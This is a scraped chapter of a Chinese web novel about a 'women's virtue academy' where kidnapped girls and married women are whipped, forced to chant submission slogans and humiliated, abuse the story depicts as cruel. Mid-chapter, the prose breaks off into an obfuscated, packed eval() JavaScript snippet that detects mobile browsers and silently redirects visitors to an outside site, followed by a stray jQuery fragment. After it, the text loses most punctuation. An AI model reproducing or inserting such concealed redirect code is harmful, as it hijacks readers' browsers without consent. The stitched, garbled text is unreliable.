她們的腳下並沒有放蒲團,她們就這樣直愣愣的跪坐在堅硬的地麵上,每一個女孩的年齡都很小,最大的應當也不過十四歲。
她們沒有機會被送到正常的學校裡麵去念書,而是日複一日的留在這個女德學院裡麵,接受著思想的荼毒。
“你們將來都是要嫁人的,”胡露眯著眼睛望著講台下方的20個女孩,一字一頓的開口說著,“你們的父母長輩,還有你們未來的丈夫,都不喜歡你們去學那些獨立自強的東西,你們隻有在這裡學好三從四德,學好怎麼樣去伺候自己的丈夫,畢業了以後才能夠嫁個好人,知不知道?”
胡露的眼中隱隱有幾分得意的神情,“女德學院畢業生的名號,可是十分吸引男人的東西,到時候嫁個大款,你們都會因為今天而感謝我的。”
“來,我
念一句,你們跟著我念一句,”胡露的目光時不時的掃視一眼下方的女孩們,“男人是我們的天,男人是我們的地,男人不會說錯話,不會做錯事,我們永遠要聽從男人的指揮……”
二十個女孩跪坐在地上,雙眼直視前方,一個字,一個字的重複著胡露剛才所說的話,“男人是我們的天……”
“啪——”
胡露手裡的教鞭猛然間甩了一下,陣陣破空聲嚇得一眾女孩們瑟瑟發抖,臉色驟變,頭上豆大的汗滴不斷的往下流。
在場的每一個女孩都被胡露的這個教鞭抽打過,教鞭上麵帶著倒刺,每一次抽打過來都會掀起一連片的皮肉,那股鑽心的疼痛,沒有人想要體會第二次。
“都沒吃飯嗎?!這麼小聲,”胡露十分的不滿,“我倒要看看是誰在那小聲念……”
“男人是我的天!”
“男人是我們的地!”
……
“我們要永遠聽從男人的指揮!”
刹那之間,幾乎每一個女孩都是扯著嗓子在喊,生怕自己隻要聲音小一點就會挨胡露的鞭子。
“這還差不多,”胡露滿意的點了點頭,“你們要知道,服從,是我們女德學院的第一要義。”
她說著話,拿起放在蒲團邊的高跟鞋穿在了腳上。
“噠,噠,噠……”
她抬腳走了下來,高跟鞋在地麵上踩出清脆的聲響,恍若是一聲聲轟雷一般,重重的砸在了每一個女孩子的心口。
“都給我跪好了!我看誰還在那東倒西歪的?!”她微微眯著眼睛,尖利的目光掃射過去,如同兩條射線,隻要被她盯上的人,就根本逃不脫皮肉的懲罰。
馮笑笑嚇得眼淚都流下來了,她閉著眼睛歇斯底裡的大喊,“服從是女德學院的第一要義!”
她真的好想媽媽……
那天放學回家的路上,她還在想著媽媽究竟給他做了什麼好吃的東西,她一蹦一跳的往家趕,一輛麵包車忽然在她旁邊停了下來。
車門被打開,裡麵坐著一個和她年
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992686|128030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
歲差不多大的女孩子,那女孩看起來溫溫柔柔的,讓她一瞬間就放下了戒心。
那女孩詢問她某一個店鋪怎麼走,馮笑笑知道那個店鋪就在她家旁邊,所以很愉快的給那個女孩指了路,
女孩得知她家就在那個方向十分好心的提出來載她一路。
上學的時候老師教過他們不要隨意的和陌生人搭話尤其是尋求他們這個年紀的小朋友幫忙的大人。
可那女孩並不是找自己幫忙隻是問個路而已馮笑笑沒有覺得這也需要警惕所以她在女孩的熱情邀請下
上車的一瞬間就有一個布袋子套在了她的腦袋上她立馬就昏迷了過去等到她再次醒來的時候眼前已經全然都是陌生的環境。
她被關在了這所女德學院裡麵挨打挨餓被罰。
她好似再也沒有機會見到她的媽……
“非常不錯。”高跟鞋的聲音停在了馮笑笑的身邊驚得她渾身打顫恐懼的情緒幾乎將她徹底的給包圍就連靈魂都在抖動著。
但幸好胡露並沒有拿那個教鞭抽她而是表揚了她“大家都要向馮笑笑同學學習看她喊的多大聲多賣力如果你們都像她這樣恐怕用不了幾年就可以畢業出去了。”
刹那間同學們爭先恐後的大喊了起來一個個都扯著嗓子恨不得把肺裡的空氣都給排空。
“不錯相當不錯”胡露拍了拍手掌“好來我們進行下一個課程的學習。”
“把腿掰開對……身體壓下去……”
每一個女孩都開始由原先跪坐的姿勢開始把自己的雙腿往兩邊掰手肘撐在地上把自己的腰往下塌。
這是一個十分羞恥的動作可所有的女孩都已經習以為常。
“你們要保持一個良好的體態樣貌身體要足夠的柔軟才能討未來丈夫的歡心這樣的話你們的丈夫帶著你們出門也能夠麵上有光聽明白沒有?”胡露不停的在女孩們之間遊走看到哪一個女孩的腰壓的不夠低就會直接上去動手。
“啊……”
其中一個女孩子的身體比較僵硬在胡露壓她的腰的時候那股自己的脊椎都仿佛快要斷裂的疼痛讓她不受控製的叫了出來。
那一瞬間胡露麵色驟變。
女孩也知道自己做了錯事連忙開始跪地磕頭求饒“我錯了胡老師我真的知道錯了我再也不敢了求求你饒了我。”
她拚了命的磕頭腦袋砸在堅硬的地板上
麵發出“砰砰砰”的聲響。
可胡露卻直接一腳將她踹倒在了地上“隻有安靜沉穩的女人才不會惹人討厭!”
她說著話手裡的教鞭狠狠的甩了上去打的那女孩皮開肉綻。
“胡老師我錯了我在也不敢了嗚嗚嗚嗚……”
女孩在地上來回的翻滾著不斷的發出痛苦的哀嚎聲周圍的其他女孩一個個的都仿佛完全沒有看到一樣自顧自的壓著自己的腿。
這並不是因為她們冷漠無情而是倘若她們開口求情或者是伸手幫忙的話
女孩求饒的聲音漸漸弱了下來翻滾的動作也變得緩慢了不少她身上雪白的衣服上麵遍布點點猩紅。
她躺在地上用雙手緊緊的抱著自己的胳膊整個身體宛若煮熟的蝦子一樣蜷縮了起來一雙眼睛大睜著裡麵全然都是絕望。
胡露打累了她甩了甩有些酸澀發麻的手臂低頭冷冷的看著那女孩“還不快趕緊滾?!”
“等著我給你收屍嗎?”
女孩疼得渾身上下的每一個細胞都在叫囂可她不敢遲疑一分一毫她咬緊牙關拚了命的從地上爬了起來拖著沉重的身子一步一步的往外頭走。
她要去醫務室醫務室的醫生會給她的傷口上藥確保這些鞭打的痕跡不留疤。
女孩一步一步的消失在了視野裡胡露用腳踢了踢離自己最近的一個女孩子“把地上收拾一下紅不拉幾的看著惡心死了。”
剛才那個女孩子因為她的鞭打身上有不少地方都打出了血她在地上翻滾求饒的時候血液也粘到了地麵上。
潔白的瓷磚上麵星星點點看起來格外的刺眼。
被胡露踹了一腳的女孩立馬站起身好像身後有什麼惡狼在追一般急速的衝了出去不過一會她端了個水盆進來裡麵還有一塊雪白的抹布。
她跪在地上把抹布浸濕然後一點一點的擦著地麵上的血跡。
——
這間教室的隔壁同樣是一間巨大空曠的教室隻不過這個教室裡麵上課的學生並不是那些尚未成年的女孩而是都已經結婚生子的少婦。
十三名女子一字排開
跪在堅硬冰冷的地麵上。
她們的麵前各放著一個木製的水桶水桶裡麵熱水氤氳白色的霧氣嫋嫋而上。
“來姑娘們準備好上課了。”一個隻穿了一件睡衣踢踏著拖鞋的男人從外麵走了進來。
他站在門口拍了拍手
穿著拖鞋的男人是這所女德學院的教導主任名字叫曾孝汝他負責教授已經結婚生子的這批“學生”。
“好”看到那十三個男人已經落座曾孝汝滿意的點了點頭“接下來就請姑娘們把他們當成你的丈夫我們要做的事情就是當丈夫工作了一天下班回到家感到勞累的時候要幫他們脫掉鞋襪給他們洗腳。”
他手裡麵拿著一根細軟的藤條這種東西打在人身上留不下太深的印子可卻是鑽心的疼痛。
“誰要是做的不好我可是要懲罰她的哦~”
隨著曾孝汝的一聲令下十三名女子迅速的脫掉了自己麵前男人的鞋襪雙手捧著對方的腳輕輕的放進了水盆裡用自己的手拎著水開始慢慢的搓洗。
“做的很好”曾孝汝背著手慢慢悠悠的在這幾名姑娘之間穿梭“你們要知道你們的丈夫在外麵辛勤工作最終還是為了你們的這個家為了你們以及你們的孩子所以你們必須要學會伺候好自己的丈夫。”
“女人要像水一樣遇方則方遇圓則圓”曾孝汝一字一頓的說著那些洗腦的語句“一個女人一輩子最重要的事情就是經營好自己身邊的男人如果你連伺候男人都做不好的話你覺得你還配做一個女人嗎?”
曾孝汝所說的話沒有任何一個人反駁。
哪怕這十三個姑娘當中年紀最小的一個也已經二十五歲了。
她們不是不想反駁而是不敢反駁因為反駁的代價她們完全承受不起。
幾乎每一個被送到這所女德學院裡麵來的姑娘在一開始的時候都對曾孝汝所說的那種以丈夫為天的話嗤之以鼻。
現如今這個社會普通民眾受教育的程度已經越來越高了從小到大學校裡麵的老師都在教導他們要自立自強。
可無論從前在學校裡麵所學習的知識是怎樣